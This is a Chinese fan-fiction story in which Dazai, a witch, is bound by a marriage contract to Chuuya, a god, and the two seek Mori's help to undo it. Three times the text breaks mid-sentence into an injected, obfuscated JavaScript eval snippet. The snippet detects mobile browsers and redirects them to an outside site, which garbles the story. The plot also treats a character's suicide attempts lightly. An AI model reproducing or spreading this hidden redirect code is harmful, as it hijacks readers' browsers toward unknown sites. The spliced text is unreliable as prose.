《[文野]魔女他坚决不离婚》 1. 天降老婆 地面上的契约绘制完成，太宰治割破手腕，放任涌出的鲜血顺着凹槽填满整个法阵后，就蹲在一旁捧着《完全自杀手册》百无聊赖地等着。 静默了不知多少秒后，魔法阵旁的白烛留下的凝固蜡液几乎已经摇摇欲坠。 “失败了呢。”太宰治合上书，塞进自己的魔法袍内，晃荡着双手背身离开现场：“果然森先生说的什么奇迹法阵都是在说大话啊。” “要是太宰君真的觉得这么无聊，不如试试这个法阵，也许会有奇迹，找到点什么也说不准。” 回想森鸥外坐在校长桌后，眯着眼故作神秘，令人作呕的姿态，太宰治在收到这毫无用武之地的结果时，心道果然如此。 一切都没什么意义，就像生命的存在那样。即使在这个充满魔法元素，看起来欣欣向荣的世界，一切也都是索然无味。 顺着长廊一路晃荡到这一层楼的窗边，从上向下望去，远处是象征光明，繁荣的莱欧城邦。 林立的尖塔、教堂顶即使隔着很远一段距离也依旧向人们彰显着它的辉煌。 而与之对立的这一边，是被誉为黑魔法圣地，死亡与腐朽并存的黑之森林。 太宰治就站在森林中心，被设下禁忌咒语的高塔之上。 他漆黑的瞳孔映照着远方的景象，在光与暗的交织之中，看不出情绪。 只是在下一秒，他突然毫无预兆地翻上窗，蹲在仅有一掌宽的窗棂上，而后纵身一跃，从百米高空坠下。 而后他被提住了衣领。 森先生特供的魔法外袍质量极佳。 纵使太宰治只是象征性地穿了两个袖子，连衣服上的结都系得松松垮垮，宛如死结，但被人这么从后面拎住衣领，它竟然也毫无损坏痕迹，甚至坚强地支撑住了太宰治整个身体。 只是俯身面朝下的这个姿势实在不怎么雅观，更何况腹部那个结勒得他反胃。 好在拎住他的那人没什么折磨人的癖好，很快将他拉回坐在窗上。 “所以你把我召唤出来结婚契，就是为了自杀让我成为寡夫？” 右手边狭窄的空隙里挤出半边身子，突然出现在眼前的橘色发丝在这片以黑暗为基调的森林里亮得出奇：“热衷于死亡的自杀狂？” 这可不得了。 太宰治确信这座专属于他的高塔里从没有这号人。 从那双盛满整片天空的眸子里看见自己的时候，太宰治甚至一度怀疑自己患上了精神妄想症。 不然他怎么可能会看见一只漂亮的橘色小狗站在他跟前，试图同他摇尾吸引注意力？ “喂？自杀狂小鬼？”橘发的娇小青年伸手在他眼前晃了晃，似笑非笑的精致脸上盛满骄矜。 “你在说什么胡话？我只是想研究一下失重的感觉，完成最近在研究的，有关重力的魔法。没想到就被一只不礼貌的小狗临场阻止，让一切都泡了汤。” 太宰治收回双腿，示意青年后退，而后从窗棂上利落潇洒地翻下来，慢悠悠整理了一下自己的外袍。 橘发青年狐疑地挑起一边眉毛，从鼻腔里轻哼一声，抱胸站在一旁。 他穿着丝绸的白色长袍，娇小的身影若隐若现，大约能被太宰治整个拢在怀中，光着的脚在衣袍下若隐若现。 太宰治顶了顶上颚：“倒是我很奇怪，不礼貌的小狗就这么随意闯进别人家，衣衫不整，是什么情况。” “是你画法阵把我强行拉过来结婚契的。”青年摊手：“这种东西真是好恶心，噫。” “不信，你就看看契约书。” 随着青年话音落下，太宰治跟前凭空出现一张泛黄的羊皮纸。其上刻画着熟悉的，由森先生提供的法阵，末尾用古语书写着： 同命婚契，契约人——太宰治、中原中也。 太宰治的瞳孔微微收缩，而后羊皮纸因主人心意，化成点点碎光再度隐形。 “噫——好可怕，好变态!”太宰治连连后退两步，靠在窗边：“森先生居然给的是婚契，还让我绑定了这么一个小矮子!” 被契约的另一位倒霉蛋，叫做中原中也的青年嘴角抽搐，眼底的嫌弃快要满溢出来。 他略带嘲讽地看着太宰治：“不管从什么方面讲，在一个光明元素稀薄、魔气浓重的地方画魔法阵，还妄图跳楼自杀的绷带人都没资格说别人变态吧？” 隐藏在魔法袍下的身体往往不会引人注目，即使右眼缠绕着绷带，也并未有太大问题。但中也偏偏精纯点出太宰治在不经意露出的手腕、脚腕下那一圈浅浅的绷带痕迹，并以此抨击。 可惜太宰治对此不置可否，只是挑挑眉，鸢色的瞳眸甚至未尝有一丝波动。 中也也并未同他有过多纠缠，在短暂的沉默里，他突然开口：“所以，能解除我们的契约吗？” 太宰治耸肩：“小矮子能问出这种话也真是十分奇怪呀。我也是被森先生诓骗画的魔法阵，怎么会知道解除的方法呢？况且，面对一个来历不明，不知道什么的物种，迫切想要解除这样一个不寻常契约的人是我才对吧？” 怎么还倒打一耙呢？ 黑发的青年眯着眼，手指在空中煞有介事地摇摆，向眼前的橙发青年展示着他的不满，语调铿锵起伏，像极了一出舞台的戏剧。 中原中也终于忍无可忍，一拳朝着眼前这张斯文败类般精致的脸而去，将他缠着绷带的右半张脸整个按进墙里。 “你这家伙，聒噪得像只麻雀！”中也仰着一张甜美的娃娃脸，冷哼一声：“无知的人类，能和神明契约是你的冒犯，还敢挑三拣四！” 看似嚣张的青年实际并未用太大的力道，即使将人嵌入墙中，也是用的魔法元素抢先将墙体软化。 并未因此收到太多打击的太宰治对此更加不以为意，眯着眼嬉笑：“原来是神明呀。但能被我强制召唤出来，想必中也也算不上多厉害呢……” “况且看中也打扮，不会是在家里没睡醒就被人强制拉来结婚了吧？” “什么结婚！这是契约！契约！”中也收回手，一脚踩在眼前这个犯贱人的脸上。 这一脚没留半分情面，赤裸光洁的足甚至在其上碾了几下。 高傲的橘发青年不知是因为眼前人的哪句话恼羞成怒，不顾自己足底因粗糙绷带磨得有些发红，恶狠狠道：“既然这魔法阵是别人给你，你画出来的，你就得想办法把它解除掉！否则我绝对不会放过你！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962281|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看着身下对此并不表态的太宰治，沉默一瞬，突然冷声笑道：“你该不会不知道，这个契约是双向的吧？我能因此来到这里，有自由的活动空间，而你能因此获得对各类魔法元素的亲和度、掌控力，关键是，你会共享神明的生命。” “神明可是永生的，作为自杀狂的你可会因此和我一起，千万年都不得死期！” 原本游刃有余，看着中也炸毛的黑发青年听到这句话瞳孔骤缩。他张了张嘴，在沉默的几秒里，突然怪叫一声：“真是好恶毒的诅咒啊！森先生果然最讨厌了！” “小矮子太过分了！” 他巧妙地挣脱开中也的钳制，将碾在他脸上的腿轻轻放下，而后迅速站起身，错身而过中也，匆匆向着绘制着魔法阵的房间而去。 “只有这个，绝对不行！” 如果无聊而没有意义的生命变得漫长无比，那可真是世界上最为恶毒凶险的诅咒。 再也无法体验死亡的乐趣，也无法从任何极限的死亡过程里体验存在与意义的快感，这样的行为和杀了他有什么区别？ 穿着魔法袍的青年带着一阵风，火急火燎赶到房间，推开自己随手关上的门。 此时此刻，门内绘制的法阵在感受到来人的片刻骤然发出刺眼的白光。随着身后跟着的中也露头，发光的魔法阵迅速缩小、脱离地面浮空，而后在瞬息之间来到中也与太宰的面前，一分为二，没入二人的颈间。 那张曾经能被二人随意召唤出、消失掉，写下婚契的羊皮纸凭空出现，其上的黑色古语如同漂浮的精灵，在扭曲的光里上下涌动，而后被缓慢染上红色，形成新的部分： 爱情魔法 吾与汝执念不休 吾与汝纠缠不灭 吾与汝共享一切 汝与吾灵魂不分 汝与吾命运不离 汝与吾共享一切 生命为引，人/神格作咒 契约人——太宰治x中原中也 房间内的白烛燃烧殆尽，只有墙上固定的荧光石还在充当照明的工作。 地面的一切魔法阵痕迹都不复存在，当一切散去，好像方才的所有经历都是幻觉。 但太宰治的身旁，橘发的中原中也依旧存在，甚至还陷入被莫名印入脑海的契约内容中无法挣脱。 已经恢复神智的青年抬手摸了摸自己发烫的脖颈，被烙印着一半爱情魔法七芒星的金色印记处，向他反复证实着事实的存在。 “什么乱七八糟的契约书文字，写得神神叨叨的。”好容易才接受了这个事实的中也咬牙切齿：“什么爱情魔法，难道爱情就是强制将两个倒霉蛋链接在一起么？” “这个魔法阵真是严重妨碍了我的生活啊。”太宰治不知从何处取出一个巨大的带着弯角的魔女帽，他冷静地将帽子戴在头上，压低帽檐，手中一个小巧的拖尾扫帚在中也身上画了个简单的魔法咒语，眼前的橘发青年贴身的丝绸白袍随即便成为一身灯笼裤绸缎上衣的黑白……女仆装。 “走吧中也，我们得想想办法，共享生命，包办婚姻什么的，才不是爱情！” “才不要和中也这么黏糊糊地，坚决要离婚！” 2. 莱欧城邦 仿佛赌气一般，带着尖角魔女帽的太宰治提着自己的扫帚和刚到手的契约爱人，重新回到窗边，在中原中也疑惑的目光中，带着他从窗户纵身一跃。 中原中也瞳眸骤缩，施展的魔法奇怪地消失。 他妄图伸手抓住周遭的一切能阻挡这种堪称自杀的恐怖行径，却被太宰治一只手抓回，禁锢在怀里。 “混蛋!” 在一声恶狠狠的咒骂里，中原中也被太宰治死死抱住，感受着周遭迅速升腾的气流，下坠到完全看不到地面情况的百米外。 或许他说话的方式不太像人，但能做出拉着第一次见的人殉情这种事的家伙绝对可以算得上狗。 更何况，这个绑着绷带的怪人在这种事情中体会到极大的乐趣，甚至在中也耳边笑出了声。 逸散的声音遥遥蒸发到天外，中原中也感受到神生的极大危机，在挣扎无果的情况下选择闭上眼睛。 在短短的7.5秒时间内，他的脑海一片空白，只有余晖记忆里，那个第一次见的绷带脸愈发得可恨之极。 然而，摔成一滩烂泥的疼痛却并未如约而至。 中原中也的极速降落刺激感在数秒之后离奇地变更为浮空触感。 他疑惑地睁开眼睛，却见一只亮闪闪的鸢色眼睛一眨不眨地牢牢盯着他。 在百米高的高塔正下方，绘制着闪烁湛蓝色光泽的魔法阵。 而他们从窗口的这一跃，正正跳入了魔法阵之中。 中也被整个包裹在太宰治的外袍之中，而后以一种仰躺的姿势漂浮在魔法阵里。 柔和的蓝光随着魔法阵的运转显得愈发明亮，几乎将高塔所在的黑之森林附近照得透亮。 太宰治在这一片透亮的光泽中仔细观察着中原中也的一举一动，将他的每个表情都刻画在脑海里。 而后压抑的笑声转为放声大笑，他的尖角魔法帽在这笑声中起伏不定：“中也真该看看自己的表情吧？” “中也不是神明吗，怎么会因为坠落感就可怜兮兮地闭上自己的小狗眼睛？难道不应该好奇地看看周围吗？这可是全新的，足以令你世界刷新的‘全新风景’哦！” 随着太宰治的话音落下，温柔的蓝光将二人托举到正常站立的姿势。 蓝光散去，他们正站在人潮汹涌，热闹的集市之中。 这里有人类与精灵，保留兽类特征的化形兽与裹着黑袍的行走骨架；道路两旁堆叠的地摊上有魔法卷轴、药水、关在笼子中的各型宠物。 鲜花与阳光，交谈与欢笑，这里是魔法大陆最热闹，最包容的魔法城邦——莱欧城。 而他们，正站在这里，于城邦之中，疗愈方才濒临死亡的创伤。 “你……”咒骂的话语到了嘴边，却被周遭的全新一切打断，中也转头望向截然不同的街道，一瞬间陷入了茫然。 温暖的金阳慷慨地洒落在城邦的每个角落。同黑之森林完全不一样的气息透露着安宁与和谐。 仿佛是梦中曾幻想过的一切，出现在眼前显得格外不真实。 “怎么样，中也？” 太宰治带着一丝小小的得意，犹如一只矜贵的猫，舔着油光水滑的毛向中原中也展示着这一切：“我的魔法可是直接把你送到这里来了哦。” 中也转身，侧着头问：“这些是什么？” “当然是忙自己事的人啊。又不是人人都像中也这么闲，还一问三不知。” 太宰治适时地退后两步，将自己的外袍解开，披在中原中也身上。 他的外袍对于中也而言其实大得有些过分，松松垮垮地被穿在身上。 但太宰治随即补在外袍上的缩小咒语又恰到好处地弥补了这一点。 “我以为，你这样的自杀狂，是有什么拉着人殉情的癖好呢。” 太宰治懒散地拖着自己的扫帚，拉长声音道：“殉情这种事，才不要和小狗一起呢。” “那么高的塔，一步步走下来多麻烦，当然是跳下来最快了。” “中也真是大笨蛋，像蛞蝓一样，完全不会思考呢。” 好心情总是终结得极快。中也停下脚步，回首一拳敲击在太宰治头上，而后心情舒畅地继续在集市上漫无目的闲逛。 “小鬼，少说些没用的空话。” 道路两旁的阁楼之上，尖角的民宿楼外的阳台上种满了各色的花朵，簇拥着绿叶的球，藤蔓在风中摇曳。 在芬芳的花香里，太宰治跟在橘发的青年身后。 其实莱欧城里无非就是这些东西，循环往复，日复一日均是如此。人们为了所谓的生存而奔波着，无聊透顶，太宰治从未有半分为此驻足。 但眼前这个依据契约寥寥数语就展示神明身份的橙发小狗却对此饶有兴趣。 他无声地散发着对这一切事物的喜爱，或许是为了这份热闹和平，或许是因为这些东西新奇，又或许只是因为他们的身上散发着名为“生命”的活跃气息。 “生命”么？ 太宰治挑挑眉，耐心等待中也逛完一圈，对城内有了大致了解。 临近傍晚，在中也略带不舍的目光中，太宰治中断了中也的旅程，领着他的橘发小狗走向莱欧城的另一边。 “啊呀，真是个贪玩忘性大的小狗。”太宰治走在前方滔滔不绝：“明明是中也说好的要快些找到给我魔法阵人解除我们奇怪契约的吧？” “一到城里就立刻被这些无聊的东西带走了视线和心神。不管从哪个方面看都是很不负责的行为吧？” “我被迫跟着中也逛了这么久，真是累死啦！” 中原中也跟在太宰治身后，踢了踢他的小腿：“少罗嗦，专心带路啊！” 太宰治撇撇嘴，在城内的道路上拐了不知道多少个分岔口，最终将中也带到一方恢弘的宫殿。 宫殿无人驻守，整个区域空空荡荡，只有忙碌传递着不知名东西的机械魔法造物，环绕着宫殿的内外，各司其职。 莱欧城邦是当今魔法大陆最为富饶的、强大的国度。这里居住着各种族居民，城内利用元素力进行魔法修炼的人络绎不绝。 富饶往往会招致觊觎，而包容开放则面临混乱的隐患。 莱欧城邦在这一方面下足功夫，并加以严格的制度对城邦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962282|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的居民及魔法师进行约束与管理。 它将城邦分为三个治理体系，分管昼、夜与其交替之时。 三类权力分别对应属于光明体系的居民，属于黑暗体系的居民与行走于他们之间的居民。 在不同时间段内，分管的体系居民都有属于其设定的规章与首领，而首领则被称为受理城主。 三体系相互制约，在不属于其分管时间里相互监督，倘若有违规，则会被受理城主手下的执行者带走公开处刑。 太宰治慢慢悠悠向中原中也介绍着世界的基础情况和城邦内的规章，进入殿堂自殿堂内传送阵边的操作台上按下手印，旋即带着中也传到一处房间外。 这处殿门外用浮金镂空雕刻着夜行生物的简易形象，其后用金丝缠绕的图案隐隐像一只隐藏的半开眼睛。 奢华而低调的房间，重点是，它随机活动于这座独立于城邦一角的宽阔殿堂内的任意一角，倘若不通过带有接见许可的魔法传送印记，是无法到达此处的。 形式上敲击了三下门扉，太宰治便毫不客气地推开了紧闭的大门。 “哎呀，爱丽丝酱，为什么就躲起来了呢？不想换小裙子我们可以去玩一些别的东西嘛。” 房间内光线极暗，只有星星点点摇曳的烛光堪堪照亮周遭一切。 一位半长头发，身着黑色绸缎长袍，白色披肩的男人正弯腰站在办公桌后背对着太宰与中也说话。 他的面前是被做成一整面墙大小的衣橱，衣橱门被好不在意地悉数打开，其内各式各样的精致服装令人目不暇接。 此时此刻，其中一扇衣橱门正牢牢紧闭。男人正正在这扇门前，油腻的语气带着一些诱哄的味道。 太宰治打着哈欠，走到办公桌前十步站定，用手中的扫帚立在地上撑着自己的身体。 中原中也紧随其后。 “爱丽丝酱——” “不要！林太郎需要自己反思一下！” 衣橱内传出一个甜美的童音，但拒绝的语气却十分坚定。被称作｜（爱丽丝）的孩子至始至终没有离开衣橱的想法。 男人见实在无法将爱丽丝哄出衣柜，只得遗憾地咂咂嘴，直起身，调转方向，接待来客。 男人看起来十分疲惫，眼下带着不知有多久未曾休息好的淤青，衣领上绣着繁复的咒语古文。 他的袖口上分别别着一枚精致的月牙袖扣，拉开椅子坐在办公桌上，双手合十时，脸上又出现了和太宰治气息十分相近的微笑： “啊，太宰。这次回来得这么早，还带来一位尊贵的客人？” “那要多亏了森先生不靠谱的魔法阵，让我和中也绑定在一起了。” 中原中也适时上前做了一个简单的自我介绍，而后获得男人优雅的问好与姓名。 他便是莱欧城中，负责夜晚秩序的受理城主——森鸥外。 自进入这间房屋起，太宰治便收起所有的笑意。鸢色的眼睛隐藏在黑暗中，看不出情绪。 “森先生既然拿出了这么一个不靠谱的魔法阵，想必一定有解除的方法吧？中也和我都对此感到苦恼呢。” 3. 阴险鸥外 “能让太宰感到苦恼，也未尝不是件好事。”森鸥外半眯着眼，双手合十撑在下巴上，语调中含着隐隐的笑意。 太宰治不以为然，对森鸥外睁眼胡说的技能嗤之以鼻：“如果我能像森先生这样以他人的苦痛为乐趣，大概就不会觉得无聊吧。” “可惜的是，爱丽丝小姐似乎不这么喜欢森先生的幽默呢。” 森鸥外适时地避开太宰治拉满的嘲讽属性，将话题重新牵引回中也在乎的话题：“对于二位的要求我已经有所了解，介于对各位选择的尊重，我只能勉强说一说魔法阵的来历。” “很不幸，我也不知道魔法阵的解除方式——因为这只是我在新发现的神明遗迹里带出来的一份残缺财产。” “不过……我倒是知道一些能够激发同魔法阵本源相似的小法门，兴许能帮到中也先生。” “毕竟……和我这个闹脾气的养子强行连接在一起，应当难以忍受吧。” 没等中原中也针对这一番发言提出疑问，太宰治便率先打断森鸥外滔滔不绝的演讲。 “啊咧？森先生是说，这个该死的东西，是你从那个新发现的遗迹里带出来的？” 不用回复，仅仅通过森鸥外神色的细微变化，太宰治便能精准捕捉到这位隶属于莱欧城邦“夜晚”的首领的心声。 “森先生还是一如既往地懂得利用身边的一切资源啊。但是，这么累的活，森先生怎么就能确定，我一定会愿意为了一只这么小的中也就接受你的条件呢？” “和中也连接起来虽然很难以忍受，但是要是被森先生牵着鼻子走，才是更加让人睡不好觉的坏事吧？” 太宰治一边陈述着自己的不满，一边走向森鸥外的办公桌，双手撑在桌面上，清亮的声线变得晦涩。 两人视线交错间，中也清晰地感受到两种相斥的气场。 但诡异的是，这气场又有不谋而合的地方。 “等等，你们究竟在打什么哑谜？还是要和被牵扯进来的无辜路人说清楚吧？” 中原中也深刻地感受到事情的发展超出预料，及时中断了这不妙的预感，伸出手试图引起在场两人的注意力：“能暂停一下你们的魔法对轰吗？就算再不满，也不应该是现在爆发吧？” 外放的争锋相对一瞬间消失无踪，太宰治略略整理自己的魔法帽，回头向中也做了一个鬼脸：“略略略，中也真是笨蛋，连我们在开玩笑都看不出来。” 森鸥外不置可否，并不对太宰治的所作所为有所评价，只是歪头，看向被太宰严严实实挡在身后的橘发青年，略带感慨道：“将中也先生就这么晾在一旁可真是失礼的行为啊。” “但还请中也先生多多包容，我这个养子总有些惊世骇俗的想法，我也时常为此感到苦恼。” “但现在，还是得满足中也先生的好奇心。” 这个世界曾经有神明，祂们主掌世间的不同职权，以职能绘就了这个世界的根本。 早在古老的文献里有所记载，世上先有了虚无混沌，而后从中孕育了生命。 生命之神由此诞生。 祂说，世界太过孤寂，于是就驱除了混沌，创造了生命。 但混沌永不消失，使得一切都陷入狂躁与死寂，陆地上的一切元素能量受此迫害，生命之神说： 【那就去梳理这些元素吧】 于是就有了魔法之神。 魔法之神是双生，一方主掌自然，一方主掌机械创造，祂们教化了人类，于是世间万物由此开始，有了自己的发展。 生命之神看着这一切，又拜托了和祂息息相关的神明踏入世间，给世界带来变化，于是秩序神明就此踏入世间，并带着与之相关联的“友人”，为世间一切应当有所规定的东西制定合适的准则，体系至此完整。 那么混沌呢？混沌应当到何处？ 生命的神明思前想后，在触摸到混沌之时，突然有所感悟，祂自其而生，又生长与此，那样的气息，被定义为——死亡。 于是一切形成闭环。 世界开始真正运转。 万世千秋——直至诸神黄昏。 没有人知晓神明为何陨落，只是有一日，天幕为此变动，星星坠落，世间万物为此哭嚎，神座崩塌，神明不知所踪。 祂们所执掌的一切好似就这样归还了世界，不复存在。 只有古老的史书还在记录、歌颂、传承祂们曾经的一切。 “所以呢？神明的故事结束了，与人类有什么关联呢？” 中原中也平静地听完一切，提出自己的不解：“与我和太宰被迫连接在一起的魔法阵有什么关联呢？” 森鸥外对此并不感到诧异，只是笑意加深，闭上眼继续陈述。 神明陨落后，人们突然发现，祂们离开的地方在世间形成了遗迹，第一个发现遗迹的人从中获得了令人艳羡的东西，得到超出常理的能力，从此，成为了世间第一名魔法师，魔法时代，至此开展。 自那人的遗书中所描述，神明的遗迹共有五座，分布于这个大陆的五处隐秘地点，遗迹当中，遍布足以颠覆人们现有的力量体系的东西。 事实上，人类确实因为他从遗迹中带出的这一小部分资产而踏入一个新纪元，进化就这样摆在每个人面前，唾手可得。 “中也先生，没有人能对神明遗迹不热情高涨。” “即使在莱欧城邦之中，也不乏有为此狂热至极的疯子——更何况，莱欧城邦的管辖范围内，就有一座被探索出，为众所周知的神明遗迹。” “人们为此觊觎至极，偷偷组织的探索活动层出不穷。” “只是在三时的政权压制下，不得不暂时按捺下这一切。” “可这一切就像是一颗被预备吹大的气球，抑制只是暂时的，只要诱惑的资本足够，谁知道这个还在不断膨胀的气球什么时候就会‘碰’的一声爆炸？” “你知道吗，中也先生，要想维持住一个城邦的秩序，使得所有人都能在其中安居乐业，控制不稳定因素，是每个掌权者不得不做的事情。” 森鸥外说着，睁开那双眼睛，中原中也这才发现，那双总是被半眯着的瞳孔，是深沉的暗红色。 “还真是和太宰如出一辙啊。” 中也小声嘀咕。 “森先生为什么要突然说这么多呢？还都不在点子上。” “还是让我来告诉中也吧。” “森先生因为莱欧城邦近期发现的奇怪遗迹而头痛不已呢。不知道是哪个缺德的家伙，传出‘这个遗迹就是古书中记录的神明遗迹’这么个离谱的消息，偏偏还真有傻子相信，自发组织了小队，背着城邦管理者进入遗迹探索。 然后呢，很遗憾，这些人全都离奇失踪了。尽管在城邦掌权者的控制下，这些人的数目尚且还不会惹人起疑，可夜长梦多。” “森先生不得不为此安排限制规定，并派出自己的亲信去寻找这些失踪的倒霉蛋——你知道的，一切的不法和滋生的阴暗最适合在夜晚结出果实。” “而作为他‘最信任’的养子，却拒绝了他布置的任务，只答应帮他研究被下属不知道用什么方法带出来的魔法阵。” “然后，就发生了现在的这一切咯。” 太宰治略带遗憾地摊了摊手：“很遗憾，我依然对探索什么遗迹，救人的任务生不起兴趣，死亡这种伟大的体验是无论如何都不能用于这种地方的。” 他的语调依然夸张，但说出的话却带着不容拒绝。 “我当然尊重太宰的一切选择。”森鸥外微笑，伸手，拿起摆在桌面左上角公文最上方的古老藏书，翻开自中间的一页里，拿出一张半页残卷的羊皮纸。 他将羊皮纸放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962283|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌面上，推向中原中也：“可是同样的，我也得尊重作为客人来到莱欧城邦的中也先生，满足他一点小小的愿望。” “如您所见，中也先生，这是我给太宰的那份魔法阵的另外半页。”他重新将手收了回去，合十放于膝上，双腿交叠，坐姿笔挺，显得优雅而从容： “在这份文卷上，写了一行很有意思的陌生古语。我近些日子通过文献资料的查询，将古语翻译后，得到了另一种简单的魔法阵绘制。” “这个魔法阵的效用大概是能够通过主魔法阵找到与本源相联系的东西。” “尽管我不知道原有魔法阵的解除方式，可为众人所周知，魔法阵的本源，一定有破除这个魔法阵的方式。” 他唇角的笑意有种虚伪的亲切，缓缓陈述的语调仿佛是迫不得已与诚信建议：“如果中也先生感兴趣，不妨试一试。” 在太宰治对这半张羊皮纸做出反应之前，中原中也就接下了那张纸。 他随意瞄了一眼那行古语，语调里是全然的自信：“我知道了。感谢你提供的信息。” 便拉着还赖在办公室的太宰治向门外走去。 “啊咧啊咧？真是没礼貌的小狗，就这么拖着主人到处走，完全没有征求主人的意见啊？” 中原中也一拳打在太宰治的后背，使得这个还在不停输出着怨念的幽灵安静短暂一瞬：“你在说什么怪话？我什么时候是你的狗了？” “可是中也也没有反驳啊？况且中也不是和我绑定在一起吗？一直可怜兮兮地跟着我走，就像是一只无家可归的可怜小狗，我勉为其难收养一下中也，中也不感激，居然还顶撞主人！ 真是一只坏心眼小狗！” 不论从哪一方面，这个在露出皮肤缠满绷带，说话语气十分恶心，拿腔拿调的家伙都令人火大。 中原中也强忍着将人暴揍一顿的欲望：“少来！你不是说你是魔法师吗？那么，我说，你画，给我把这个魔法阵画出来！” “以你的能力，一定有办法激活魔法阵，使我们的契约魔法阵和它产生联系吧？” “才不是魔法师那么恶心的东西啦！我是魔女！魔女！莱欧城最厉害的魔女大人！” 太宰治小声嘀嘀咕咕，不满于中原中也的命令：“中也是用什么身份让我做事的？要知道，不止莱欧城邦，整个魔法大陆的人要是想找我办事，都得付出酬劳！” “没有酬劳的事情，才不要做呢！” 中原中也面色不虞：“你要是不愿意就算了，我知道你们城邦里人多，我去找别人也是一样的。” “哎！”太宰治拉住转身欲走的中也：“中也想去找谁？你又不熟悉城邦里的路，要是待会儿迷路了，我还得来找中也，是一件相当麻烦，想想就要死的事情呢。” “好啦好啦，我会帮中也的。” 太宰治说到这儿，突然耷拉下眼眸，上弯的唇角宛若一方新月，刻意拉细的音调彰显着又一个坏主意的诞生：“我可以答应中也的要求，但中也要和我打个赌，要是我真的画出来这个魔法阵还让它生效了，那中也就一辈子都是我的小狗！” “喂，谁要和你打赌啊！” 中原中也拒绝不能，因为太宰治已经将自己的小扫帚重新拿了出来，从末端镶嵌着的储物水晶里抽出一根绘图笔：“中也说吧。” 中原中也拿着羊皮纸，低头照着其上的标语缓缓念出。 晦涩神秘的古语从他的嘴中脱口而出，到达太宰治耳中时，那语言又自动变为他所熟悉的词汇。 于是绘图笔应声而动，在地面上缓缓成型。 在落笔的最后一步，太宰治突然转身，割破自己与中也的手心，与他双手合十。 交融的血液被带着滴落于魔法阵中，熟悉的光芒再度点亮。 “哈，中也一辈子都是我的小狗啦！” 4. 可恶魔法 绷带青年嘴角扬起的得意笑意比魔法阵的光还亮眼。 中原中也不忍直视，别过头装作没看见。 被新魔法阵牵引而出的契约法阵漂浮在二人身前，光芒从中部撕裂开，自两头分别没入契约法阵之中。 等到一切消散，地面上被太宰随手画出的法阵不复存在。 “有变化吗？”中原中也疑惑地转头，看着太宰治。 太宰却并未说话，只是低着头，一眨不眨地看着两人交握的手。 “也没那么无聊。” 中原中也对于这牛头不对马嘴的回复持以冷漠，松开手时，掌心之处的伤口已经消失不见，取而代之的，是一串繁复的花纹。 “看起来这魔法阵还能免费纹身嘛，还能有额外收获，真是不错。” 太宰治自然也看见了这附加的“衍生品”，而他的掌心当中，是一份完全对称的，宛如半身的另一部分。 他略带趣味地戳了戳自己掌心，大声道：“喔，中也，还会发热呢。” 中原中也咬牙切齿：“说好的本源呢？连影子都没看见。如果不是你的能力问题，那就是魔法阵有问题！” “啊，坏脾气小狗果然没什么耐心啊。”太宰治苦恼地揉了揉脑袋。 中原中也并非有如此急于解除契约，连城镇都能满不在乎，心大地逛完，又怎么会在短时间内突然暴躁。 只是方才生效的魔法阵使得他一瞬间产生了不好的预感。 神明从不会平白无故产生预知相关的感受，一旦生效，那便是真的会有超出预料的事情发生。 中原中也并非完整的神明。 从他在这个世界苏醒的那一刻起，他就有这样理所当然的认知。 中也清楚地知道自己的身份，对世界的一切有一个模糊的概念，对神明的一切有一个常识的认知，这就像是一个简单的，刻在灵魂的模板，无论何时，无论何地，只要他苏醒过来，就会知晓这一切。 但他没有记忆。 自醒来前的记忆是一片空白，他感知不到自己的权能或是被人类所称呼的神座，他能够轻易地看见这个世界里空气中漂浮的一切异样的色彩。 那些包绕着万物的色彩仿佛是流动的气体，时刻抚摸着大地上的人们，温顺却无处不在。 直到太宰治绘出魔法阵，他身旁亲昵的色彩、光亮就顺从地跟进去，而后转变为魔法阵里运行的一部分。 于是他知晓，这就是被称作为“魔法元素”的神奇事物。 他默不作声地在太宰治身旁观察着这一切，以一副相当正常地模样试着融入这一切，其实只是因为，他并不知晓自己究竟想要做什么。 一切终止于中也接受到这一丝令人不安的预感。 事实上，中原中也并不能知晓会发生什么，但倘若这种预感会波及到身边的人，特别是被他所契约的对象——这个看起来一心寻死的绷带小鬼的话，那还是略微让人不安的。 他收起一贯的笑意，转身大步向来时的方向而去——他得去找森鸥外，两张羊皮纸都是自他处而来，他没道理不知道些什么。 橘发的青年隐隐感受到自己或许是被那个眯眯眼，大背头的家伙给算计了。 无名怒火升起的同时，又不得不去寻找解决的办法。 他步子迈得很急，即使个子娇小，整个人还被完全笼罩在太宰治的魔法袍下，依旧在短短数十步的距离里走出十数米远。 而后……他被一种来自后背的怪力狠狠拽动，猛地向后飞去。 